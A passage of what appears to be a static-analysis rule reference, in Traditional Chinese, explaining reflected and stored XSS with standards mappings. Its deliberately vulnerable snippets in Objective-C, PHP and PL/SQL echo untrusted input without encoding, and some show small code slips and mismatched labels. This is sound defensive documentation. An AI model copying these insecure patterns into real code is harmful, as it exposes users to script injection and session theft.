[50] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[51] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[52] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[53] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[54] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[55] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[56] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[57] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[58] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[59] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[60] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[61] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[62] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002490 CAT I, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[63] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002490 CAT I, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[64] Standards Mapping - Web Application Security Consortium Version 2.00 Cross-Site Scripting (WASC-08)
[65] Standards Mapping - Web Application Security Consortium 24 + 2 Cross-Site Scripting
desc.dataflow.kotlin.cross_site_scripting_reflected
Abstract
這個方法會傳送未經驗證的資料到網路瀏覽器會導致瀏覽器執行惡意的程式碼。
Explanation
Cross-site scripting (XSS) 弱點會在以下情況中出現:

1. 資料從一個不可信賴的來源進入網頁。在 Reflected XSS 案例中,不可信賴的來源通常為使用者元件、URL 架構處理常式或通知,而在 Persistent XSS (也可稱為 Stored XSS) 案例中,來源通常為資料庫或其他後端資料儲存區。


2. 在未對包含資料的動態內容進行驗證的情況下,便將其傳送至某個 UIWebView 元件。

傳送到網頁瀏覽器的惡意內容經常是以 JavaScript 片段的形式出現,但是也可能包含 HTML、Flash 或者瀏覽器執行的任何其他程式碼類型。以 XSS 為基礎的攻擊手段花樣百出且幾乎無窮無盡,但是它們通常會傳輸 Cookie 或其他階段作業資訊之類的私人資料給攻擊者、將受害者重新導向到攻擊者控制的網頁內容,或者利用易受攻擊的網站,在使用者的機器上執行其他惡意操作。


範例 1:以下 Objective-C 程式碼片段會讀取自訂 URL 架構的文字部份,其會被傳送至應用程式 (myapp://input_to_the_application) 並呼叫之。然後 URL 中不可信賴的資料便會被用來在 UIWebView 元件中攻擊 HTML 輸出。


- (BOOL)application:(UIApplication *)application handleOpenURL:(NSURL *)url {

UIWebView *webView;
NSString *partAfterSlashSlash = [[url host] stringByReplacingPercentEscapesUsingEncoding:NSUTF8StringEncoding];
webView = [[UIWebView alloc] initWithFrame:CGRectMake(0.0,0.0,360.0, 480.0)];
[webView loadHTMLString:partAfterSlashSlash baseURL:nil]

...


Example 1 所述,name 的值正常運作時,此程式碼也會正常運作,但如果該值不正常運作,則會完全無法避免程式碼遭受攻擊。此外,這個程式碼之所以看似不那麼危險,是因為 name 的值是從資料庫中讀取的,而顯然這些內容是由應用程式管理的。但是,如果 name 的值是從使用者提供的資料中產生,那麼資料庫可能會成為提供惡意內容的管道。如果未對資料庫中儲存的所有資料進行適當的輸入驗證,那麼攻擊者可能在使用者的網路瀏覽器中執行惡意指令。這類型的攻擊稱為 Persistent XSS (或 Stored XSS),其性質特別狡詐,因為間接的資料儲存方式而難以辨別該威脅,且該攻擊影響多個使用者的可能性可能提高。XSS 盜取會從存取提供造訪者訪客留名簿 (guestbook) 的網站開始。攻擊者會在他們的訪客留名簿項目中加入 JavaScript,所有後來前往訪客留名簿頁面的造訪者都可能會執行這些惡意程式碼。

如同範例中所示,XSS 的弱點是由 HTTP 內容中包含未經驗證資料的程式碼所引起的。XSS 攻擊有三種途徑可攻擊受害者:

- 如 Example 1 所述,會直接從自訂 URL 架構讀取資料,並反映於 UIWebView 回應內容中。當攻擊者誘使使用者提供危險內容給易受攻擊的 iOS 應用程式,接著這些危險內容就會回傳給使用者並由在網路瀏覽器中執行,這時就會出現 Reflected XSS 攻擊行為。傳遞惡意內容最常用的機制就是,將惡意內容當作參數隱藏在公開發表的自訂架構 URL 中,或者以電子郵件方式直接傳送給受害者。以這種方法建立的 URL 會構成許多網路釣魚 (phishing) 架構的核心,攻擊者可以藉此誘使受害者去造訪一個指向到易受攻擊應用程式的 URL。應用程式將攻擊者的內容回傳給使用者之後,就會執行這些內容,並接著從使用者的電腦將可能包含工作階段資訊的 Cookie 之類的私人資訊傳給攻擊者,或者執行其他惡意活動。

- 如 Example 2 所述,應用程式會將危險資料儲存到資料庫或其他可信任的資料儲存區中。這些危險資料隨後會被回讀到應用程式,並包含在動態內容中。Persistent XSS 攻擊會在以下情況出現:攻擊者把危險內容插入到之後會讀取的資料儲存區中,並包含在動態內容中。從攻擊者的角度來看,插入惡意內容的最佳位置莫過於一個會對很多使用者或特別感興趣的使用者顯示的區域。感興趣的使用者通常會在應用程式中擁有較高的權限,或者會與敏感資料進行互動,且這些資料對攻擊者而言很有利用價值。如果其中一個使用者執行了惡意內容,攻擊者可能會代替使用者去執行需要權限許可的作業,或者取得存取使用者專屬敏感資料的權限。

- 應用程式以外的來源會在資料庫或是其他資料記憶體中儲存危險資料,且之後這些危險資料會被當作信賴的資料回讀到應用程式,並會包含在動態內容中。
References
[1] Understanding Malicious Content Mitigation for Web Developers CERT
[2] HTML 4.01 Specification W3
[3] W/Labs Continued Adventures with iOS UIWebViews
[4] Standards Mapping - Common Weakness Enumeration CWE ID 79, CWE ID 80
[5] Standards Mapping - Common Weakness Enumeration Top 25 2019 [2] CWE ID 079
[6] Standards Mapping - Common Weakness Enumeration Top 25 2020 [1] CWE ID 079
[7] Standards Mapping - Common Weakness Enumeration Top 25 2021 [2] CWE ID 079
[8] Standards Mapping - Common Weakness Enumeration Top 25 2022 [2] CWE ID 079
[9] Standards Mapping - Common Weakness Enumeration Top 25 2023 [2] CWE ID 079
[10] Standards Mapping - Common Weakness Enumeration Top 25 2024 [1] CWE ID 079
[11] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001310, CCI-002754
[12] Standards Mapping - FIPS200 SI
[13] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[14] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[15] Standards Mapping - NIST Special Publication 800-53 Revision 5 SI-10 Information Input Validation
[16] Standards Mapping - OWASP Application Security Verification Standard 4.0 5.3.3 Output Encoding and Injection Prevention Requirements (L1 L2 L3), 5.3.6 Output Encoding and Injection Prevention Requirements (L1 L2 L3)
[17] Standards Mapping - OWASP Mobile 2014 M7 Client Side Injection
[18] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[19] Standards Mapping - OWASP Top 10 2004 A4 Cross Site Scripting
[20] Standards Mapping - OWASP Top 10 2007 A1 Cross Site Scripting (XSS)
[21] Standards Mapping - OWASP Top 10 2010 A2 Cross-Site Scripting (XSS)
[22] Standards Mapping - OWASP Top 10 2013 A3 Cross-Site Scripting (XSS)
[23] Standards Mapping - OWASP Top 10 2017 A7 Cross-Site Scripting (XSS)
[24] Standards Mapping - OWASP Top 10 2021 A03 Injection
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.4
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.1
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.7
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.7
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.7
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.7
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.7
[32] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[33] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[35] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[36] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[37] Standards Mapping - SANS Top 25 2009 Insecure Interaction - CWE ID 079
[38] Standards Mapping - SANS Top 25 2010 Insecure Interaction - CWE ID 079
[39] Standards Mapping - SANS Top 25 2011 Insecure Interaction - CWE ID 079
[40] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I, APP3580 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I, APP3580 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I, APP3580 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I, APP3580 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I, APP3580 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I, APP3580 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I, APP3580 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[49] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[50] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[51] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[52] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[53] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[54] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[55] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[56] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[57] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[58] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[59] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[60] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002490 CAT I, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[61] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002490 CAT I, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[62] Standards Mapping - Web Application Security Consortium Version 2.00 Cross-Site Scripting (WASC-08)
[63] Standards Mapping - Web Application Security Consortium 24 + 2 Cross-Site Scripting
desc.dataflow.objc.cross_site_scripting_reflected
Abstract
傳送未經驗證的資料至網路瀏覽器,會導致瀏覽器執行惡意的程式碼。
Explanation
Cross-site scripting (XSS) 弱點會在以下情況中出現:

1.資料從一個不可信賴的來源進入 Web 應用程式。在 Reflected XSS 案例中,不可信賴的來源通常為網頁要求,而在 Persisted XSS (也可稱為 Stored XSS) 案例中,來源通常為資料庫或其他後端資料儲存區。


2.未經驗證且包含在動態內容中的資料將傳送給某個網頁使用者。

傳送到網頁瀏覽器的惡意內容經常是以 JavaScript 片段的形式出現,但是也可能包含 HTML、Flash 或者瀏覽器執行的任何其他程式碼類型。以 XSS 為基礎的攻擊手段花樣百出且幾乎無窮無盡,但是它們通常會傳輸 Cookie 或其他階段作業資訊之類的私人資料給攻擊者、將受害者重新導向到攻擊者控制的網頁內容,或者利用易受攻擊的網站,在使用者的機器上執行其他惡意操作。

範例 1:以下 PHP 程式碼片段會從 HTTP 要求中讀取員工 ID eid,並將 ID 顯示給使用者。


<?php
$eid = $_GET['eid'];
...
?>
...
<?php
echo "Employee ID: $eid";
?>


如果 eid 只包含標準英數字元,則這個範例中的程式碼會正確地執行。如果 eid 中有包含中繼字元或來源程式碼中的值,那麼網路瀏覽器就會像顯示 HTTP 回應那樣執行程式碼。

一開始,這似乎不會輕易受到攻擊。畢竟,誰會在自己的電腦中輸入會執行惡意程式碼的 URL?其實,真正的危險在於攻擊者會建立惡意的 URL,接著使用電子郵件或社交工程病毒誘騙受害者透過連結前往該 URL。當受害者按下該連結時,他們即不知不覺地透過易受攻擊的 Web 應用程式,將惡意內容資訊帶回他們自己的電腦。這個利用易受攻擊的 Web 應用程式進行攻擊的機制就是通常所知的 Reflected XSS。

範例 2:以下的 PHP 程式碼片段,根據提供的員工識別碼來查詢資料庫,並列印出該員工的相應姓名。


<?php...
$con = mysql_connect($server,$user,$password);
...
$result = mysql_query("select * from emp where id="+eid);
$row = mysql_fetch_array($result)
echo 'Employee name: ', mysql_result($row,0,'name');
...
?>


Example 1 所述,name 的值正常運作時,此程式碼也會正常運作,但如果該值不正常運作,則會完全無法避免程式碼遭受攻擊。此外,這個程式碼之所以看似不那麼危險,是因為 name 的值是從資料庫中讀取的,而顯然這些內容是由應用程式管理的。但是,如果 name 的值是從使用者提供的資料中產生,那麼資料庫可能會成為提供惡意內容的管道。如果未對資料庫中儲存的所有資料進行適當的輸入驗證,那麼攻擊者可能在使用者的網路瀏覽器中執行惡意指令。這類型的攻擊稱為 Persistent XSS (或 Stored XSS),其性質特別狡詐,因為間接的資料儲存方式而難以辨別該威脅,且該攻擊影響多個使用者的可能性可能提高。XSS 盜取會從存取提供造訪者訪客留名簿 (guestbook) 的網站開始。攻擊者會在他們的訪客留名簿項目中加入 JavaScript,所有後來前往訪客留名簿頁面的造訪者都可能會執行這些惡意程式碼。

如同範例中所示,XSS 的弱點是由 HTTP 回應中包含未經驗證資料的程式碼所引起的。XSS 攻擊有三種途徑可攻擊受害者:

- 如 Example 1 所述,會直接從 HTTP 要求中讀取資料,並在 HTTP 回應中回傳資料。當攻擊者誘使使用者提供危險內容給易受攻擊的 Web 應用程式,接著這些危險內容就會回傳給使用者並由在網路瀏覽器中執行,這時就會出現 Reflected XSS 攻擊行為。傳遞惡意內容最常用的機制就是,將惡意內容當作參數隱藏在公開發表的 URL 中,或者以電子郵件方式直接傳送給受害者。以這種方法建立的 URL 會構成許多網路釣魚 (phishing) 架構的核心,攻擊者可以藉此誘使受害者去造訪一個指向到易受攻擊網站的 URL。網站將攻擊者的內容回傳給使用者之後,就會執行這些內容,並接著從使用者的電腦將可能包含階段作業資訊的 Cookie 之類的私人資訊傳給攻擊者,或者執行其他惡意活動。

- 如 Example 2 所述,應用程式會將危險資料儲存到資料庫或其他可信任的資料儲存區中。這些危險資料隨後會被回讀到應用程式,並包含在動態內容中。Persistent XSS 攻擊會在以下情況出現:攻擊者把危險內容插入到之後會讀取的資料儲存區中,並包含在動態內容中。從攻擊者的角度來看,插入惡意內容的最佳位置莫過於一個會對很多使用者或特別感興趣的使用者顯示的區域。感興趣的使用者通常會在應用程式中擁有較高的權限,或者會與敏感資料進行互動,且這些資料對攻擊者而言很有利用價值。如果其中一個使用者執行了惡意內容,攻擊者可能會代替使用者去執行需要權限許可的作業,或者取得存取使用者專屬敏感資料的權限。

- 應用程式以外的來源會在資料庫或是其他資料記憶體中儲存危險資料,且之後這些危險資料會被當作信賴的資料回讀到應用程式,並會包含在動態內容中。
References
[1] Understanding Malicious Content Mitigation for Web Developers CERT
[2] HTML 4.01 Specification W3
[3] Standards Mapping - Common Weakness Enumeration CWE ID 79, CWE ID 80
[4] Standards Mapping - Common Weakness Enumeration Top 25 2019 [2] CWE ID 079
[5] Standards Mapping - Common Weakness Enumeration Top 25 2020 [1] CWE ID 079
[6] Standards Mapping - Common Weakness Enumeration Top 25 2021 [2] CWE ID 079
[7] Standards Mapping - Common Weakness Enumeration Top 25 2022 [2] CWE ID 079
[8] Standards Mapping - Common Weakness Enumeration Top 25 2023 [2] CWE ID 079
[9] Standards Mapping - Common Weakness Enumeration Top 25 2024 [1] CWE ID 079
[10] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001310, CCI-002754
[11] Standards Mapping - FIPS200 SI
[12] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[13] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[14] Standards Mapping - NIST Special Publication 800-53 Revision 5 SI-10 Information Input Validation
[15] Standards Mapping - OWASP Application Security Verification Standard 4.0 5.3.3 Output Encoding and Injection Prevention Requirements (L1 L2 L3), 5.3.6 Output Encoding and Injection Prevention Requirements (L1 L2 L3)
[16] Standards Mapping - OWASP Mobile 2014 M7 Client Side Injection
[17] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[18] Standards Mapping - OWASP Top 10 2004 A4 Cross Site Scripting
[19] Standards Mapping - OWASP Top 10 2007 A1 Cross Site Scripting (XSS)
[20] Standards Mapping - OWASP Top 10 2010 A2 Cross-Site Scripting (XSS)
[21] Standards Mapping - OWASP Top 10 2013 A3 Cross-Site Scripting (XSS)
[22] Standards Mapping - OWASP Top 10 2017 A7 Cross-Site Scripting (XSS)
[23] Standards Mapping - OWASP Top 10 2021 A03 Injection
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.4
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.1
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.7
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.7
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.7
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.7
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.7
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[32] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4
[33] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[35] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[36] Standards Mapping - SANS Top 25 2009 Insecure Interaction - CWE ID 079
[37] Standards Mapping - SANS Top 25 2010 Insecure Interaction - CWE ID 079
[38] Standards Mapping - SANS Top 25 2011 Insecure Interaction - CWE ID 079
[39] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I, APP3580 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I, APP3580 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I, APP3580 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I, APP3580 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I, APP3580 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I, APP3580 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I, APP3580 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[49] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[50] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[51] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[52] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[53] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[54] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[55] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[56] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[57] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[58] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[59] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002490 CAT I, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[60] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002490 CAT I, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[61] Standards Mapping - Web Application Security Consortium Version 2.00 Cross-Site Scripting (WASC-08)
[62] Standards Mapping - Web Application Security Consortium 24 + 2 Cross-Site Scripting
desc.dataflow.php.cross_site_scripting_reflected
Abstract
傳送未經驗證的資料至網路瀏覽器,會導致瀏覽器執行惡意的程式碼。
Explanation
Cross-site scripting (XSS) 弱點會在以下情況中出現:

1.資料從一個不可信賴的來源進入 Web 應用程式。在 Reflected XSS 案例中,不可信賴的來源通常為網頁要求,而在 Persisted XSS (也可稱為 Stored XSS) 案例中,來源通常為資料庫或其他後端資料儲存區。


2.未經驗證且包含在動態內容中的資料將傳送給某個網頁使用者。

傳送到網頁瀏覽器的惡意內容經常是以 JavaScript 片段的形式出現,但是也可能包含 HTML、Flash 或者瀏覽器執行的任何其他程式碼類型。以 XSS 為基礎的攻擊手段花樣百出且幾乎無窮無盡,但是它們通常會傳輸 Cookie 或其他階段作業資訊之類的私人資料給攻擊者、將受害者重新導向到攻擊者控制的網頁內容,或者利用易受攻擊的網站,在使用者的機器上執行其他惡意操作。

範例 1:以下程式碼片段會從 HTTP 要求中讀取員工識別碼 eid,並向使用者顯示。


...
-- Assume QUERY_STRING looks like EID=EmployeeID
eid := SUBSTR(OWA_UTIL.get_cgi_env('QUERY_STRING'), 5);
HTP.htmlOpen;
HTP.headOpen;
HTP.title ('Employee Information');
HTP.headClose;
HTP.bodyOpen;
HTP.br;
HTP.print('Employee ID: ' || eid || '');
HTP.br;
HTP.bodyClose;
HTP.htmlClose;
...


如果 eid 只包含標準英數字元,則這個範例中的程式碼會正確地執行。如果 eid 中有包含中繼字元或來源程式碼中的值,那麼網路瀏覽器就會像顯示 HTTP 回應那樣執行程式碼。

一開始,這似乎不會輕易受到攻擊。畢竟,誰會在自己的電腦中輸入會執行惡意程式碼的 URL?其實,真正的危險在於攻擊者會建立惡意的 URL,接著使用電子郵件或社交工程病毒誘騙受害者透過連結前往該 URL。當受害者按下該連結時,他們即不知不覺地透過易受攻擊的 Web 應用程式,將惡意內容資訊帶回他們自己的電腦。這個利用易受攻擊的 Web 應用程式進行攻擊的機制就是通常所知的 Reflected XSS。

範例 2:以下程式碼片段會在資料庫中查詢具有指定識別碼的員工,並列印相應的員工姓名。


...
SELECT ename INTO name FROM emp WHERE id = eid;
HTP.htmlOpen;
HTP.headOpen;
HTP.title ('Employee Information');
HTP.headClose;
HTP.bodyOpen;
HTP.br;
HTP.print('Employee Name: ' || name || '');
HTP.br;
HTP.bodyClose;
HTP.htmlClose;
...


Example 1 所述,name 的值正常運作時,此程式碼也會正常運作,但如果該值不正常運作,則會完全無法避免程式碼遭受攻擊。此外,這個程式碼之所以看似不那麼危險,是因為 name 的值是從資料庫中讀取的,而顯然這些內容是由應用程式管理的。但是,如果 name 的值是從使用者提供的資料中產生,那麼資料庫可能會成為提供惡意內容的管道。如果未對資料庫中儲存的所有資料進行適當的輸入驗證,那麼攻擊者可能在使用者的網路瀏覽器中執行惡意指令。這類型的攻擊稱為 Persistent XSS (或 Stored XSS),其性質特別狡詐,因為間接的資料儲存方式而難以辨別該威脅,且該攻擊影響多個使用者的可能性可能提高。XSS 盜取會從存取提供造訪者訪客留名簿 (guestbook) 的網站開始。攻擊者會在他們的訪客留名簿項目中加入 JavaScript,所有後來前往訪客留名簿頁面的造訪者都可能會執行這些惡意程式碼。

如同範例中所示,XSS 的弱點是由 HTTP 回應中包含未經驗證資料的程式碼所引起的。XSS 攻擊有三種途徑可攻擊受害者:

- 如 Example 1 所述,會直接從 HTTP 要求中讀取資料,並在 HTTP 回應中回傳資料。當攻擊者誘使使用者提供危險內容給易受攻擊的 Web 應用程式,接著這些危險內容就會回傳給使用者並由在網路瀏覽器中執行,這時就會出現 Reflected XSS 攻擊行為。傳遞惡意內容最常用的機制就是,將惡意內容當作參數隱藏在公開發表的 URL 中,或者以電子郵件方式直接傳送給受害者。以這種方法建立的 URL 會構成許多網路釣魚 (phishing) 架構的核心,攻擊者可以藉此誘使受害者去造訪一個指向到易受攻擊網站的 URL。網站將攻擊者的內容回傳給使用者之後,就會執行這些內容,並接著從使用者的電腦將可能包含階段作業資訊的 Cookie 之類的私人資訊傳給攻擊者,或者執行其他惡意活動。

- 如 Example 2 所述,應用程式會將危險資料儲存到資料庫或其他可信任的資料儲存區中。這些危險資料隨後會被回讀到應用程式,並包含在動態內容中。Persistent XSS 攻擊會在以下情況出現:攻擊者把危險內容插入到之後會讀取的資料儲存區中,並包含在動態內容中。從攻擊者的角度來看,插入惡意內容的最佳位置莫過於一個會對很多使用者或特別感興趣的使用者顯示的區域。感興趣的使用者通常會在應用程式中擁有較高的權限,或者會與敏感資料進行互動,且這些資料對攻擊者而言很有利用價值。如果其中一個使用者執行了惡意內容,攻擊者可能會代替使用者去執行需要權限許可的作業,或者取得存取使用者專屬敏感資料的權限。

- 應用程式以外的來源會在資料庫或是其他資料記憶體中儲存危險資料,且之後這些危險資料會被當作信賴的資料回讀到應用程式,並會包含在動態內容中。
References
[1] Understanding Malicious Content Mitigation for Web Developers CERT
[2] HTML 4.01 Specification W3
[3] Standards Mapping - Common Weakness Enumeration CWE ID 79, CWE ID 80
[4] Standards Mapping - Common Weakness Enumeration Top 25 2019 [2] CWE ID 079
[5] Standards Mapping - Common Weakness Enumeration Top 25 2020 [1] CWE ID 079
[6] Standards Mapping - Common Weakness Enumeration Top 25 2021 [2] CWE ID 079
[7] Standards Mapping - Common Weakness Enumeration Top 25 2022 [2] CWE ID 079
[8] Standards Mapping - Common Weakness Enumeration Top 25 2023 [2] CWE ID 079
[9] Standards Mapping - Common Weakness Enumeration Top 25 2024 [1] CWE ID 079
[10] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001310, CCI-002754
[11] Standards Mapping - FIPS200 SI
[12] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[13] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[14] Standards Mapping - NIST Special Publication 800-53 Revision 5 SI-10 Information Input Validation
[15] Standards Mapping - OWASP Application Security Verification Standard 4.0 5.3.3 Output Encoding and Injection Prevention Requirements (L1 L2 L3), 5.3.6 Output Encoding and Injection Prevention Requirements (L1 L2 L3)
[16] Standards Mapping - OWASP Mobile 2014 M7 Client Side Injection
[17] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[18] Standards Mapping - OWASP Top 10 2004 A4 Cross Site Scripting
[19] Standards Mapping - OWASP Top 10 2007 A1 Cross Site Scripting (XSS)
[20] Standards Mapping - OWASP Top 10 2010 A2 Cross-Site Scripting (XSS)
[21] Standards Mapping - OWASP Top 10 2013 A3 Cross-Site Scripting (XSS)
[22] Standards Mapping - OWASP Top 10 2017 A7 Cross-Site Scripting (XSS)
[23] Standards Mapping - OWASP Top 10 2021 A03 Injection
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.4
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.1
